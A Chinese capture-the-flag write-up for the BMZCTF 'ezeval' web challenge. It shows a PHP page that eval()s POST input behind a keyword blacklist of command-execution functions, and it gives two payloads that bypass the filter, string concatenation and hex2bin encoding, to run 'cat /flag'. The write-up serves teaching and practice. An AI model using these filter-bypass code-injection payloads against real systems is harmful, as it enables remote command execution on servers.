• BMZCTF WEB_ezeval


    WEB_ezeval
    题目简介:
    打开后是一段php代码,进行代码审计:

         <?php
        highlight_file(__FILE__);
        $cmd=$_POST['cmd'];
        $cmd=htmlspecialchars($cmd);
        $black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
        $cmd = str_ireplace($black_list,"BMZCTF",$cmd);
        eval($cmd);
         
        ?> 

    大致思路是:我们要将需要POST传入的命令执行语句放进$cmd中,并且绕过这个过滤str_ireplace()函数。
    相关知识:
    htmlspecialchars() 函数:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
    str_ireplace() 函数:str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
    eval()函数:把字符串作为PHP代码执行。
    解法:
    一、拼接字符串绕过
    cmd=(s.y.s.t.e.m)('cat /flag');  //.在php中有连接字符串的作用,所以用来拼接字符串
    二、进制编码绕过
    cmd=hex2bin('73797374656d')('cat /flag');
    PHP hex2bin() 函数:把十六进制值转换为 ASCII 字符.
    注意分号闭合语句

  • 相关阅读:
    为aptget设置http代理[转]
    tty&pty
    Overfencing
    ubuntu修改runlevel
    ls l文件类型[转]
    ubuntu文字界面与图形界面切换
    ubuntu没有/etc/inittab文件
    linux一些缩写的意思
    redhat server 5.4安装中文
    关闭linux警报
  • 原文地址:https://www.cnblogs.com/akger/p/15233567.html
Copyright © 2020-2023  润新知